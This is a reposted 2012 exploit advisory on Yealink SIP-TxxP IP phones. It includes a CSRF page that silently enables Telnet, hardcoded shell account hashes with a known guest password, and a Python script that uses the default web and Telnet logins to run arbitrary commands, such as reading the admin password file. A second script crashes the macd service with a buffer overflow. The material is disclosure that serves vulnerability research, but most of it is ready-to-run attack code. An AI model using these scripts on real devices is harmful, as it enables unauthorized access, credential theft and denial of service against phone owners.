YeaLink IP Phone SIP-TxxP firmware <= 9.70.0.100 Vulnerabilities

کد:
#+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title     : YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 Multiple Vulnerabilities
# Date              : 12-21-2012
# Author            : xistence (xistence<[AT]>0x90.nl)
# Software link     : Yealink - the Global TOP 5 SIP Phone Supplier
# Vendor site       : Yealink - the Global TOP 5 SIP Phone Supplier
# Version           : 9.70.0.100 and lower
# Tested on         : YeaLink IP Phone SIP-T20P (hardware VoIP phone)
#
# Vulnerability     : Multiple Vulnerabilities as described below
#
#+--------------------------------------------------------------------------------------------------------------------------------+
 
[0x01] - Hidden page to enable telnet + CSRF
 
The hidden page http://<IP>/cgi-bin/ConfigManApp.com?Id=10  contains an option to enable Telnet on the phone. Only the "admin" user  can access this page.
However the unprivileged user "user" can post directly to  ConfigManApp.com and enable Telnet. This default user "user" has the  password "user" and is unlikely to be changed by a user.
 
Also CSRF to enable this is possible:
 
<html>
<head>
<title>Enable Telnet</title> </head>
<body>
<form name="csrf" action="http://<IP>/cgi-bin/ConfigManApp.com" method="post">
<input type="hidden" name="PAGEID" value="10"/>
<input type="hidden" name="CONFIG_DATA"  value="1%261%261%261%260%261%261%260%261%261%260%26%260%260%260%260%260%261%261%260%260"/>
</form>
<script> document.csrf.submit(); </script>
</body>
</html>
 
 
[0x02] - Default telnet shell users + passwords
 
The shell users are hardcoded in the firmware images and are always the  same and can't be changed through the webinterface. So after enabling  telnet through the hidden page shell access could go unnoticed.
 
/etc/passwd:
root:x:0:0:Root,,,:/:/bin/sh
admin:x:500:500:Admin,,,:/:/bin/sh
guest:x:501:501:Guest,,,:/:/bin/sh
 
/etc/shadow:
root:$1$IJZx7biF$BgyHlA/AgR27VSEBALpqn1:11876:0:99999:7:::
admin:$1$Bwt9zCNI$7rGLYt.wk.axE.6FUNFZe.:11876:0:99999:7:::
guest:$1$A3lIJ0aO$Is8Ym.J/mpNejleongGft.:11876:0:99999:7::: <- password is "guest"
 
/etc/group:
root:x:0:admin,root
guest:x:1:guest
 
The file "/tmp/.htpasswd" is world readable and contains the "admin" password for the web interface.
 
 
[0x03] - Exploit
 
The following exploit logs in with the unprivileged user "user" and  password "user" in the web interface. Here it enables telnet, logs in  with the default user "guest" and password "guest" and executes the  shell command specified.
An example is to do a "cat /tmp/.htpasswd" to retrieve the admin password for the web interface.
 
 
#!/usr/bin/python
 
import urllib, urllib2, getpass, sys, telnetlib
 
print ""
print "[*]  YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 hidden  page telnet  enabler + default guest shell account command execution -  xistence  (xistence<[at]>0x90.nl) - 2012-12-21"
print ""
if (len(sys.argv) != 3):
print "[*] Usage: " + sys.argv[0] + " <IP of Phone> <command to execute>"
print "[*] i.e.:" + sys.argv[0] + " 127.0.0.1 \"cat /tmp/.htpasswd\""
print ""
exit(0)
 
phoneIP = sys.argv[1]
shellCmd = sys.argv[2]
 
phoneUrl = 'http://%s/cgi-bin/ConfigManApp.com' % phoneIP
webUser = 'user'
webPass = 'user'
telnetUser = 'guest'
telnetPass = 'guest'
 
passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
passman.add_password(None, phoneUrl, webUser, webPass)
authhandler = urllib2.HTTPBasicAuthHandler(passman)
opener = urllib2.build_opener(authhandler)
urllib2.install_opener(opener)
post_params = urllib.urlencode([("PAGEID", "10"), ("CONFIG_DATA",  "1%261%261%261%260%261%261%260%261%261%260%26%260%260%260%260%260%261%261%260%260")])
 
print "[*] Enable telnet on [ %s ] by posting directly to the hidden  page with PAGEID=10 parameter as unprivileged user [ user ]" % phoneUrl
pagehandle = urllib2.urlopen(phoneUrl, post_params)
 
print "[*] Making telnet connection to [ %s ] with default user [ %s ]  and password [ %s ]" % ( phoneIP, telnetUser, telnetPass )
tn = telnetlib.Telnet(phoneIP)
 
tn.read_until("IPPHONE login: ")
tn.write(telnetUser + "\n")
if telnetPass:
tn.read_until("Password: ")
tn.write(telnetPass + "\n")
 
tn.read_until("$")
print "[*] Executing shell command [ %s ]" % shellCmd
tn.write( shellCmd + '\n' )
tn.read_until( shellCmd )
print tn.read_until("$").strip("$ ")
tn.write("exit\n")
tn.read_all()
 
 
[0x04] - Remote "/yealink/bin/macd" buffer overflow crash PoC
 
The following PoC exploit will crash the "/yealink/bin/macd" process on port "12345"
 
 
 
#!/usr/bin/python
 
import socket,sys,time,struct
 
if len(sys.argv) < 2:
print "[*]  YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100  /yealink/bin/macd  remote buffer overflow crash PoC - xistence   (xistence<[at]>0x90.nl) - 2012-12-21"
print "[-] Usage: %s <target addr> " % sys.argv[0]
 
sys.exit(0)
 
target = sys.argv[1]
 
if len(sys.argv) > 2:
platform = sys.argv[2]
 
buffer = "\x41"*75
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((target,12345))
except:
print "[-] Connection to "+target+" failed!"
sys.exit(0)
 
print "[*]  YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100  /yealink/bin/macd  remote buffer overflow crash PoC - xistence   (xistence<[at]>0x90.nl) - 2012-12-21"
print "[*] Sending " + `len(buffer)` + " byte crash"
 
s.send(buffer + "\r\n")
s.recv(1024)